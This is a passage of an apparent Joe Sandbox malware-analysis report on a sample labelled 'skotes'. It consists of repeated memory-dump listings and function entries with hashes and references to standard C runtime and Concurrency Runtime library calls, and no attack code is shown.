Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: abac5a67eead13602a7a870f4ead59e9bf595b4b6ed29df5ee613def35f964b7
Instruction ID: 6ebff64058b72a2be9435ef62f1b4906382f615b930ead8be550d76ad79e409b
Opcode Fuzzy Hash: abac5a67eead13602a7a870f4ead59e9bf595b4b6ed29df5ee613def35f964b7
Instruction Fuzzy Hash: 8CF0E97590020CF7D721FA54DC97C9EB3789E90724F608129E94657183DB7DAE06C6D2

Function 0074504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00745115
___AdjustPointer.LIBCMT ref: 00745138
___AdjustPointer.LIBCMT ref: 007451D4

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 91add1e97bd7138ee5f8277dfd1a95f9f5d344963c9d9fc4d1a031274896e917
Instruction ID: 2e4bea6c20a921e2aec23289ef142303ff2a0acb420af0d5cbaf525e4ddeb837
Opcode Fuzzy Hash: 91add1e97bd7138ee5f8277dfd1a95f9f5d344963c9d9fc4d1a031274896e917
Instruction Fuzzy Hash: B2510476601B0AEFDB298F54D885B7A73B5FF10310F14852DE806972A2E779ED40CB91

Function 00744C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00744C66
TypeidsEqual.LIBVCRUNTIME ref: 00744C8B
PMDtoOffset.LIBCMT ref: 00744CA1
PMDtoOffset.LIBCMT ref: 00744D22

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: a16b6c42297c4fbc57ef83a52deee5c444b9aa60735178e96100011cd0222028
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 0E518839E0460A9FCF11CF68C4806AEBBF5EF15354F14449AE950A7351D73AAA05DFA0

Function 0073DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0073DB64

Part of subcall function 00738F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00738F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0073DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0073DBE9
Concurrency::location::_Assign.LIBCMT ref: 0073DC56

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 07aa15b04ef32771c7b97390b1d0a255066b0b4d889020c8421b8dd514ecc432
Instruction ID: 31075a2efe2dcb77b4c6576137ad20f0aed7371cfb2c834b96a4f0cc2337f178
Opcode Fuzzy Hash: 07aa15b04ef32771c7b97390b1d0a255066b0b4d889020c8421b8dd514ecc432
Instruction Fuzzy Hash: 5C41F670600214EFEF29AB24D89ABAEBB75AF44310F044099E5065B3C3CBB8AD45C7A1

Function 007356AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 007356F2
_InternalDeleteHelper.LIBCONCRT ref: 00735726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0073578B
SafeRWList.LIBCONCRT ref: 0073579A

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: cc1e5f0e4ea84ed2d85aa49e8a1135a9e09caa746f28d6ad57f5232c64b9e312
Instruction ID: fb674db051e827a302cd5448eb1d56a9d96e697a3ffb4b1c32a40a1c941ea681
Opcode Fuzzy Hash: cc1e5f0e4ea84ed2d85aa49e8a1135a9e09caa746f28d6ad57f5232c64b9e312
Instruction Fuzzy Hash: 2D314836700614CFEF199F20C885AAE77B6AF89710F184279E9069B356DF78AC048B90

Function 00732CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00732D0F

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
